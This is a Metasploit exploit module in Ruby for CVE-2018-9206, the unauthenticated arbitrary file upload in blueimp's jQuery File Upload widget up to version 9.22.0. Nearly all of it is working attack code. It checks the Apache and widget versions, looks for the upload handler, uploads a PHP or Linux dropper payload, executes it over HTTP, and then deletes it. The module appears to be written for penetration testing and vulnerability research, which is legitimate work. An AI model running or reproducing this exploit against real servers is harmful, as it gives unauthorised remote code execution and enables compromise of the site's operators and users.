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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => "blueimp's jQuery (Arbitrary) File Upload", 'Description'=> %q{ This module exploits an arbitrary file upload in the sample PHP upload handler for blueimp's jQuery File Upload widget in versions <= 9.22.0. Due to a default configuration in Apache 2.3.9+, the widget's .htaccess file may be disabled, enabling exploitation of this vulnerability. This vulnerability has been exploited in the wild since at least 2015 and was publicly disclosed to the vendor in 2018. It has been present since the .htaccess change in Apache 2.3.9. This module provides a generic exploit against the jQuery widget. }, 'Author' => [ 'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload 'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC 'wvu'# Metasploit module ], 'References' => [ ['CVE', '2018-9206'], ['URL', 'http://www.vapidlabs.com/advisory.php?v=204'], ['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'], ['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'], ['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'], ['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride'] ], 'DisclosureDate' => 'Oct 9 2018', # Larry's disclosure to the vendor 'License'=> MSF_LICENSE, 'Platform' => ['php', 'linux'], 'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets'=> [ ['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]] ], 'DefaultTarget'=> 0 )) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload']) ]) end def version_paths %w[ /package.json /bower.json ].map { |u| normalize_uri(target_uri.path, u) } end # List from PoC sorted by frequency def upload_paths %w[ /server/php/index.php /server/php/upload.class.php /server/php/UploadHandler.php /example/upload.php /php/index.php ].map { |u| normalize_uri(target_uri.path, u) } end def check a = nil version_paths.each do |u| vprint_status("Checking #{u}") res = send_request_cgi( 'method' => 'GET', 'uri'=> u ) next unless res unless a res.headers['Server'] =~ /Apache\/([\d.]+)/ && $1 && (a = Gem::Version.new($1)) if a && a >= Gem::Version.new('2.3.9') vprint_good("Found Apache #{a} (AllowOverride None may be set)") elsif a vprint_warning("Found Apache #{a} (AllowOverride All may be set)") end end next unless res.code == 200 && (j = res.get_json_document) && j['version'] && (v = Gem::Version.new(j['version'])) if v <= Gem::Version.new('9.22.0') vprint_good("Found unpatched jQuery File Upload #{v}") return CheckCode::Appears else vprint_error("Found patched jQuery File Upload #{v}") return CheckCode::Safe end end CheckCode::Unknown end def find_upload upload_paths.each do |u| vprint_status("Checking #{u}") res = send_request_cgi( 'method' => 'GET', 'uri'=> u ) if res && res.code == 200 vprint_good("Found #{u}") return u end end nil end def exploit unless check == CheckCode::Appears && (u = find_upload) fail_with(Failure::NotFound, 'Could not find target') end f = "#{rand_text_alphanumeric(8..42)}.php" p = normalize_uri(File.dirname(u), 'files', f) print_status('Uploading payload') res = upload_payload(u, f) unless res && res.code == 200 && res.body.include?(f) fail_with(Failure::NotVulnerable, 'Could not upload payload') end print_good("Payload uploaded: #{full_uri(p)}") print_status('Executing payload') exec_payload(p) print_status('Deleting payload') delete_payload(u, f) end def upload_payload(u, f) p = get_write_exec_payload(unlink_self: true) m = Rex::MIME::Message.new m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}")) send_request_cgi( 'method' => 'POST', 'uri'=> u, 'ctype'=> "multipart/form-data; boundary=#{m.bound}", 'data' => m.to_s ) end def exec_payload(p) send_request_cgi({ 'method' => 'GET', 'uri'=> p }, 1) end def delete_payload(u, f) send_request_cgi( 'method' => 'DELETE', 'uri'=> u, 'vars_get' => {'file' => f} ) end end |
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